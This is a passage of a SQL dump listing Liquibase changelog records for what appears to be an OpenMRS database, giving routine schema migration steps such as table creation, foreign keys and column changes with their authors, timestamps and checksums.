table',NULL,'2.0.5'),('20110218-1206','rubailly','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10013,'MARK_RAN','3:8be61726cd3fed87215557efd284434f',NULL,NULL,NULL,NULL),('20110218-1210','rubailly','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10013,'MARK_RAN','3:4f8818ba08f3a9ce2e2ededfdf5b6fcd',NULL,NULL,NULL,NULL),('201102280948','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:45',10278,'EXECUTED','3:98e1075808582c97377651d02faf8f46','Drop Foreign Key Constraint','Removing the foreign key from users.user_id to person.person_id if it still exists',NULL,'2.0.5'),('20110301-1030a','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10413,'MARK_RAN','3:5256e8010fb4c375e2a1ef502176cc2f','Rename Table','Renaming the concept_source table to concept_reference_source',NULL,'2.0.5'),('20110301-1030b','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10414,'MARK_RAN','3:6fc5f514cd9c2ee14481a7f0b10a0c7c','Create Table, Add Foreign Key Constraint (x4)','Adding concept_reference_term table',NULL,'2.0.5'),('20110301-1030b-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10415,'EXECUTED','3:3cf3ba141e6571b900e695b49b6c48a9','Modify Column','(Fixed)Change concept_reference_term.retired to BOOLEAN',NULL,'2.0.5'),('20110301-1030c','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10416,'MARK_RAN','3:d8407baf728a1db5ad5db7c138cb59cb','Create Table, Add Foreign Key Constraint (x3)','Adding concept_map_type table',NULL,'2.0.5'),('20110301-1030c-fix','sunbiz','liquibase-update-to-latest.xml','2011-09-19 00:00:00',10014,'MARK_RAN','3:c02f2825633f1a43fc9303ac21ba2c02',NULL,NULL,NULL,NULL),('20110301-1030d','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10417,'MARK_RAN','3:222ef47c65625a17c268a8f68edaa16e','Rename Table','Renaming the concept_map table to concept_reference_map',NULL,'2.0.5'),('20110301-1030e','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10418,'MARK_RAN','3:50be921cf53ce4a357afc0bac8928495','Add Column','Adding concept_reference_term_id column to concept_reference_map table',NULL,'2.0.5'),('20110301-1030f','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10419,'MARK_RAN','3:5faead5506cbcde69490fef985711d66','Custom Change','Inserting core concept map types',NULL,'2.0.5'),('20110301-1030g','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10420,'MARK_RAN','3:affc4d2a4e3143046cfb75b583c7399a','Add Column, Add Foreign Key Constraint','Adding concept_map_type_id column and a foreign key constraint to concept_reference_map table',NULL,'2.0.5'),('20110301-1030h','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10421,'MARK_RAN','3:4bf584dc7b25a180cc82edb56e1b0e5b','Add Column, Add Foreign Key Constraint','Adding changed_by column and a foreign key constraint to concept_reference_map table',NULL,'2.0.5'),('20110301-1030i','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10422,'MARK_RAN','3:f4d0468db79007d0355f6f461603b2f7','Add Column','Adding date_changed column and a foreign key constraint to concept_reference_map table',NULL,'2.0.5'),('20110301-1030j','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10423,'MARK_RAN','3:a7dc8b89e37fe36263072b43670d7f11','Create Table, Add Foreign Key Constraint (x5)','Adding concept_reference_term_map table',NULL,'2.0.5'),('20110301-1030m','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10424,'MARK_RAN','3:b286407bfcdf3853512cb15009c816f1','Custom Change','Creating concept reference terms from existing rows in the concept_reference_map table',NULL,'2.0.5'),('20110301-1030n','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10425,'MARK_RAN','3:01868c1383e5c9c409282b50e67e878c','Add Foreign Key Constraint','Adding foreign key constraint to concept_reference_map.concept_reference_term_id column',NULL,'2.0.5'),('20110301-1030o','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10426,'MARK_RAN','3:eea9343959864edea569d5a2a2358469','Drop Foreign Key Constraint','Dropping foreign key constraint on concept_reference_map.source column',NULL,'2.0.5'),('20110301-1030p','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10427,'MARK_RAN','3:01bf8c07a05f22df2286a4ee27a7acb4','Drop Column','Dropping concept_reference_map.source column',NULL,'2.0.5'),('20110301-1030q','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10428,'MARK_RAN','3:f45caaf1c7daa7f2cb036f46a20aa4b1','Drop Column','Dropping concept_reference_map.source_code column',NULL,'2.0.5'),('20110301-1030r','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10429,'MARK_RAN','3:23fd6bc96ee0a497cf330ed24ec0075b','Drop Column','Dropping concept_reference_map.comment column',NULL,'2.0.5'),('201103011751','abbas','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10381,'EXECUTED','3:4857dcbefa75784da912bca5caba21b5','Create Table, Add Foreign Key Constraint (x3)','Create the person_merge_log table',NULL,'2.0.5'),('20110326-1','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10456,'EXECUTED','3:3376a34edf88bf2868fd75ba2fb0f6c3','Add Column, Add Foreign Key Constraint','Add obs.previous_version column (TRUNK-420)',NULL,'2.0.5'),('20110326-2','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10459,'EXECUTED','3:7c068bfe918b9d87fefa9f8508e92f58','Custom SQL','Fix all the old void_reason content and add in the new previous_version to the matching obs row (POTENTIALLY VERY SLOW FOR LARGE OBS TABLES)',NULL,'2.0.5'),('20110329-2317','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10382,'EXECUTED','3:371be45e2a3616ce17b6f50862ca196d','Delete Data','Removing \'View Encounters\' privilege from Anonymous user',NULL,'2.0.5'),('20110329-2318','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10383,'EXECUTED','3:eb2ece117d8508e843d11eeed7676b21','Delete Data','Removing \'View Observations\' privilege from Anonymous user',NULL,'2.0.5'),('20110425-1600-create-visit-attribute-type-table','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10390,'MARK_RAN','3:3cf419ea9657f9a072881cafb2543d77','Create Table, Add Foreign Key Constraint (x3)','Creating visit_attribute_type table',NULL,'2.0.5'),('20110425-1600-create-visit-attribute-type-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10391,'EXECUTED','3:e4b62b99750c9ee4c213a7bc3101f8a6','Modify Column','(Fixed)Change visit_attribute_type.retired to BOOLEAN',NULL,'2.0.5'),('20110425-1700-create-visit-attribute-table','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10393,'MARK_RAN','3:24e1e30a41f9f5d92f337444fb45402a','Create Table, Add Foreign Key Constraint (x5)','Creating visit_attribute table',NULL,'2.0.5'),('20110425-1700-create-visit-attribute-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10394,'EXECUTED','3:8ab9102da66058c326c0a5089de053e8','Modify Column','(Fixed)Change visit_attribute.voided to BOOLEAN',NULL,'2.0.5'),('20110426-11701','zabil','liquibase-update-to-latest.xml','2016-10-27 07:11:56',10435,'MARK_RAN','3:56caae006a3af14242e2ea57627004c7','Create Table, Add Foreign Key Constraint (x4)','Create provider table',NULL,'2.0.5'),('20110426-11701-create-provider-table','dkayiwa','liquibase-schema-only.xml','2016-10-27 07:10:10',87,'EXECUTED','3:56caae006a3af14242e2ea57627004c7','Create Table, Add Foreign Key Constraint (x4)','Create provider table',NULL,'2.0.5'),('20110426-11701-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:56',10436,'EXECUTED','3:f222ec7d41ce0255c667fd79b70bffd2','Modify Column','(Fixed)Change provider.retired to BOOLEAN',NULL,'2.0.5'),('20110510-11702-create-provider-attribute-type-table','zabil','liquibase-update-to-latest.xml','2016-10-27 07:11:57',10437,'EXECUTED','3:7478ac84804d46a4f2b3daa63efe99be','Create Table, Add Foreign Key Constraint (x3)','Creating provider_attribute_type table',NULL,'2.0.5'),('20110510-11702-create-provider-attribute-type-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:57',10438,'EXECUTED','3:479636c7572a649889527f670eaff533','Modify Column','(Fixed)Change provider_attribute_type.retired to BOOLEAN',NULL,'2.0.5'),('20110628-1400-create-provider-attribute-table','kishoreyekkanti','liquibase-update-to-latest.xml','2016-10-27 07:11:58',10440,'EXECUTED','3:298aaacafd48547be294f4c9b7c40d35','Create Table, Add Foreign Key Constraint (x5)','Creating provider_attribute table',NULL,'2.0.5'),('20110628-1400-create-provider-attribute-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:58',10441,'EXECUTED','3:14d85967e968d0bcd7a49ddeb6f3e540','Modify Column','(Fixed)Change provider_attribute.voided to BOOLEAN',NULL,'2.0.5'),('20110705-2300-create-encounter-role-table','kishoreyekkanti','liquibase-update-to-latest.xml','2016-10-27 07:11:58',10442,'MARK_RAN','3:a381ef81f10e4f7443b4d4c8d6231de8','Create Table, Add Foreign Key Constraint (x3)','Creating encounter_role table',NULL,'2.0.5'),('20110705-2300-create-encounter-role-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:58',10443,'EXECUTED','3:bed2af9d6c3d49eacbdaf2174e682671','Modify Column','(Fixed)Change encounter_role.retired to BOOLEAN',NULL,'2.0.5'),('20110705-2311-create-encounter-role-table','dkayiwa','liquibase-schema-only.xml','2016-10-27 07:10:10',88,'EXECUTED','3:a381ef81f10e4f7443b4d4c8d6231de8','Create Table, Add Foreign Key Constraint (x3)','Creating encounter_role table',NULL,'2.0.5'),('20110708-2105','cta','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10397,'MARK_RAN','3:a20e9bb27a1aca73a646ad81ef2b9deb','Add Unique Constraint','Add unique constraint to the concept_source table',NULL,'2.0.5'),('201107192313-change-length-of-regex-column','jtellez','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10395,'EXECUTED','3:db001544cc0f5a1ff42524a9292b028b','Modify Column','Increasing maximum length of patient identifier type regex format',NULL,'2.0.5'),('20110811-1205-create-encounter-provider-table','sree/vishnu','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10444,'EXECUTED','3:e20ca5412e37df98c58a39552aafb5ad','Create Table, Add Foreign Key Constraint (x3)','Creating encounter_provider table',NULL,'2.0.5'),('20110811-1205-create-encounter-provider-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10445,'EXECUTED','3:8decefa15168e68297f5f2782991c552','Modify Column','(Fixed)Change encounter_provider.voided to BOOLEAN',NULL,'2.0.5'),('20110817-1544-create-location-attribute-type-table','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10400,'MARK_RAN','3:41fa30c01ec2d1107beccb8126146464','Create Table, Add Foreign Key Constraint (x3)','Creating location_attribute_type table',NULL,'2.0.5'),('20110817-1544-create-location-attribute-type-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10401,'EXECUTED','3:53aff6217c6a9a8f1ca414703b1a8720','Modify Column','(Fixed)Change visit_attribute.retired to BOOLEAN',NULL,'2.0.5'),('20110817-1601-create-location-attribute-table','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10403,'MARK_RAN','3:c7cb1b35d68451d10badeb445df599b9','Create Table, Add Foreign Key Constraint (x5)','Creating location_attribute table',NULL,'2.0.5'),('20110817-1601-create-location-attribute-table-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10404,'EXECUTED','3:2450e230f3eda291203485bca6904377','Modify Column','(Fixed)Change visit_attribute.retired to BOOLEAN',NULL,'2.0.5'),('20110819-1455-insert-unknown-encounter-role','raff','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10446,'EXECUTED','3:bfe0b994a3c0a62d0d4c8f7d941991c7','Insert Row','Inserting the unknown encounter role into the encounter_role table',NULL,'2.0.5'),('20110825-1000-creating-providers-for-persons-from-encounter','raff','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10447,'EXECUTED','3:04bc8aa9859f6f8dda065e272ba12e0d','Custom SQL','Creating providers for persons from the encounter table',NULL,'2.0.5'),('20110825-1000-drop-provider-id-column-from-encounter-table','raff','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10449,'EXECUTED','3:2137e4b5198aa5f12059ee0e8837fb04','Drop Foreign Key Constraint, Drop Column','Dropping the provider_id column from the encounter table',NULL,'2.0.5'),('20110825-1000-migrating-providers-to-encounter-provider','raff','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10448,'EXECUTED','3:e7c39080453e862d5a4013c48c9225fc','Custom SQL','Migrating providers from the encounter table to the encounter_provider table',NULL,'2.0.5'),('2011091-0749','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:13',125,'EXECUTED','3:3534020f1c68f70b0e9851d47a4874d6','Create Index','',NULL,'2.0.5'),('2011091-0750','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',126,'EXECUTED','3:f058162398862f0bdebc12d7eb54551b','Create Index','',NULL,'2.0.5'),('20110913-0300','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10430,'MARK_RAN','3:7ad8f362e4cc6df6e37135cc37546d0d','Drop Foreign Key Constraint, Add Foreign Key Constraint','Remove ON DELETE CASCADE from relationship table for person_a',NULL,'2.0.5'),('20110913-0300b','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:55',10431,'MARK_RAN','3:2486028ce670bdea2a5ced509a335170','Drop Foreign Key Constraint, Add Foreign Key Constraint','Remove ON DELETE CASCADE from relationship table for person_b',NULL,'2.0.5'),('20110914-0104','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:54',317,'EXECUTED','3:b1811e5e43321192b275d6e2fe2fa564','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0114','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:07',69,'EXECUTED','3:dac2ff60a4f99315d68948e9582af011','Create Table','',NULL,'2.0.5'),('20110914-0117','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:55',318,'EXECUTED','3:5b7f746286a955da60c9fec8d663a0e3','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0245','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:55',319,'EXECUTED','3:48cdf2b28fcad687072ac8133e46cba6','Add Unique Constraint','',NULL,'2.0.5'),('20110914-0306','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:07',70,'EXECUTED','3:037f98fda886cde764171990d168e97d','Create Table','',NULL,'2.0.5'),('20110914-0308','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:55',320,'EXECUTED','3:6309ad633777b0faf1d9fa394699a789','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0310','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:55',321,'EXECUTED','3:8c53c44af44d75aadf6cedfc9d13ded1','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0312','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:07',71,'EXECUTED','3:2a39901427c9e7b84c8578ff7b3099bb','Create Table','',NULL,'2.0.5'),('20110914-0314','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:55',322,'EXECUTED','3:9cbe2e14482f88864f94d5e630a88b62','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0315','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:56',323,'EXECUTED','3:18cd917d56887ad924dad367470a8461','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0317','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:11',98,'EXECUTED','3:cffbf258ca090d095401957df4168175','Add Primary Key','',NULL,'2.0.5'),('20110914-0321','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:56',324,'EXECUTED','3:67723ac8a4583366b78c9edc413f89eb','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0434','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:56',326,'EXECUTED','3:081831e316a82683102f298a91116e92','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0435','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:57',327,'EXECUTED','3:03fa6c6a37a61480c95d5b75e30d4846','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0448','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',72,'EXECUTED','3:ffa1ef2b17d77f87dccbdea0c51249de','Create Table','',NULL,'2.0.5'),('20110914-0453','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:56',325,'EXECUTED','3:ea43c7690888a7fd47aa7ba39f8006e2','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0509','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:13',122,'EXECUTED','3:d29884c3ef8fd867c3c2ffbd557c14c2','Create Index','',NULL,'2.0.5'),('20110914-0943','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:13',123,'EXECUTED','3:c48f2441d83f121db30399d9cd5f7f8b','Create Index','',NULL,'2.0.5'),('20110914-0945','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:57',328,'EXECUTED','3:ea1fbb819a84a853b4a97f93bd5b8600','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110914-0956','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:13',124,'EXECUTED','3:719aa7e4120c11889d91214196acfd4c','Create Index','',NULL,'2.0.5'),('20110914-0958','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:57',329,'EXECUTED','3:ad98b3c7ae60001d0e0a7b927177fb72','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0258','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:57',330,'EXECUTED','3:bd7731e58f3db9b944905597a08eb6cb','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0259','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:58',331,'EXECUTED','3:11086a37155507c0238c9532f66b172b','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0357','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:58',332,'EXECUTED','3:05d531e66cbc42e1eb2d42c8bcf20bc8','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0547','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:58',333,'EXECUTED','3:f3b0fc223476060082626b3849ee20ad','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0552','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:58',334,'EXECUTED','3:46e5067fb13cefd224451b25abbd03ae','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0603','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:59',335,'EXECUTED','3:ca4f567e4d75ede0553e8b32012e4141','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0610','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:59',336,'EXECUTED','3:d6c6a22571e304640b2ff1be52c76977','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0634','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:59',337,'EXECUTED','3:c6dd75893e5573baa0c7426ecccaa92d','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0751','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:15',10029,'EXECUTED','3:010949e257976520a6e8c87e419c9435','Insert Row','',NULL,'2.0.5'),('20110915-0803','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:16',10036,'EXECUTED','3:4a09e1959df71d38fa77b249bf032edc','Insert Row','',NULL,'2.0.5'),('20110915-0823','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:59',338,'EXECUTED','3:beb831615b748a06a8b21dcaeba8c40d','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0824','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:00',339,'EXECUTED','3:90f1a69f5cae1d2b3b3a2fa8cb1bace2','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0825','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',74,'EXECUTED','3:17eab4b1c4c36b54d8cf8ca26083105c','Create Table','',NULL,'2.0.5'),('20110915-0836','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:00',340,'EXECUTED','3:53f76b5f2c20d5940518a1b14ebab33e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0837','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:00',341,'EXECUTED','3:936ecde7ac26efdd1a4c29260183609c','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0838','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:00',342,'EXECUTED','3:fc1e68e753194b2f83e014daa0f7cb3e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0839','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:00',343,'EXECUTED','3:90bfb3d0edfcfc8091a2ffd943a54e88','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0840','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:01',344,'EXECUTED','3:9af8eca0bc6b58c3816f871d9f6d5af8','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0841','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:01',345,'EXECUTED','3:2ca812616a13bac6b0463bf26b9a0fe3','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0842','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:01',346,'EXECUTED','3:4fd619ffdedac0cf141a7dd1b6e92f9b','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0845','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',75,'EXECUTED','3:4e799d7e5a15e823116caa01ab7ed808','Create Table','',NULL,'2.0.5'),('20110915-0846','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:02',347,'EXECUTED','3:a41f6272aa79f3259ba24f0a31c51e72','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-0847','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',76,'EXECUTED','3:8c1e49cd3d6402648ee7732ba9948785','Create Table','',NULL,'2.0.5'),('20110915-0848','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:16',10037,'EXECUTED','3:cf7989886ae2624508fdf64b7b656727','Insert Row (x2)','',NULL,'2.0.5'),('20110915-0848','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',77,'EXECUTED','3:071de39e44036bd8adb2b24b011b7369','Create Table','',NULL,'2.0.5'),('20110915-0903','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:02',348,'EXECUTED','3:b6260c13bf055f7917c155596502a24b','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1045','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',127,'EXECUTED','3:8612ede2553aab53950fa43d2f8def32','Create Index','',NULL,'2.0.5'),('20110915-1049','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:02',349,'EXECUTED','3:b71f1caa3d14aa6282ef58e2a002f999','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1051','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',128,'EXECUTED','3:26c8ae0c53225f82d4c2a85c09ad9785','Create Index','',NULL,'2.0.5'),('20110915-1052','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',129,'EXECUTED','3:1efabdfd082ff2b0a34f570831f74ce5','Create Index','',NULL,'2.0.5'),('20110915-1053','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',130,'EXECUTED','3:00273104184bb4d2bb7155befc77efc3','Create Index','',NULL,'2.0.5'),('20110915-1103','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',131,'EXECUTED','3:29b35d66dc4168e03e1844296e309327','Create Index','',NULL,'2.0.5'),('20110915-1104','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',132,'EXECUTED','3:d63107017bdcef0e28d7ad5e4df21ae5','Create Index','',NULL,'2.0.5'),('20110915-1107','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:16',10038,'EXECUTED','3:18eb4edef88534b45b384e6bc3ccce75','Insert Row','',NULL,'2.0.5'),('20110915-1133','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',133,'EXECUTED','3:fea4ad8ce44911eeaab8ac8c1cc9122d','Create Index','',NULL,'2.0.5'),('20110915-1135','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:02',350,'EXECUTED','3:f0bc11508a871044f5a572b7f8103d52','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1148','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:02',351,'EXECUTED','3:a5ef601dc184a85e988eded2f1f82dcb','Add Unique Constraint','',NULL,'2.0.5'),('20110915-1149','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:16',10039,'EXECUTED','3:83534d43a9a9cc1ea3a80f1d5f5570af','Insert Row (x10)','',NULL,'2.0.5'),('20110915-1202','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:03',352,'EXECUTED','3:2c58f7f1e2450c60898bffe6933c9b34','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1203','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:03',353,'EXECUTED','3:5bce62082a32d3624854a198d3fa35b7','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1210','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:03',354,'EXECUTED','3:e17eee5b8c4bb236a0ea6e6ade5abed7','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1215','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',73,'EXECUTED','3:d772a6a8adedbb1c012dac58ffb221c3','Create Table','',NULL,'2.0.5'),('20110915-1222','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',78,'EXECUTED','3:25ce4e3219f2b8c85e06d47dfc097382','Create Table','',NULL,'2.0.5'),('20110915-1225','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:04',355,'EXECUTED','3:2d4f77176fd59955ff719c46ae8b0cfc','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1226','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:04',356,'EXECUTED','3:66155de3997745548dbca510649cd09d','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1227','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:04',357,'EXECUTED','3:6700b07595d6060269b86903d08bb2a5','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1231','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',79,'EXECUTED','3:e9f6104a25d8b37146b27e568b6e3d3f','Create Table','',NULL,'2.0.5'),('20110915-1240','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:04',358,'EXECUTED','3:5a30b62738cf57a4804310add8f71b6a','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1241','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:04',359,'EXECUTED','3:a48aa09c19549e43fc538a70380ae61f','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1242','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:05',360,'EXECUTED','3:e0e23621fabe23f3f04c4d13105d528c','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1243','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:05',361,'EXECUTED','3:1d15d848cefc39090e90f3ea78f3cedc','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1244','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:05',362,'EXECUTED','3:6c5b2018afd741a3c7e39c563212df57','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1245','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:05',363,'EXECUTED','3:9b5b112797deb6eddc9f0fc01254e378','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1246','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:06',364,'EXECUTED','3:290a8c07c70dd6a5fe85be2d747ff0d8','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1247','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:14',134,'EXECUTED','3:0644f13c7f4bb764d3b17ad160bd8d41','Create Index','',NULL,'2.0.5'),('20110915-1248','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:06',365,'EXECUTED','3:5b42d27a7c7edfeb021e1dcfed0f33b3','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1258','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',80,'EXECUTED','3:07687ca4ba9b942a862a41dd9026bc9d','Create Table','',NULL,'2.0.5'),('20110915-1301','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:06',366,'EXECUTED','3:ef3a47a3fdd809ef4269e9643add2abd','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1302','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:07',367,'EXECUTED','3:e36c12350ebfbd624bdc6a6599410c85','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1303','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:07',368,'EXECUTED','3:5917c5e09a3f6077b728a576cd9bacb3','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1307','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',81,'EXECUTED','3:957d888738541ed76dda53e222079fa3','Create 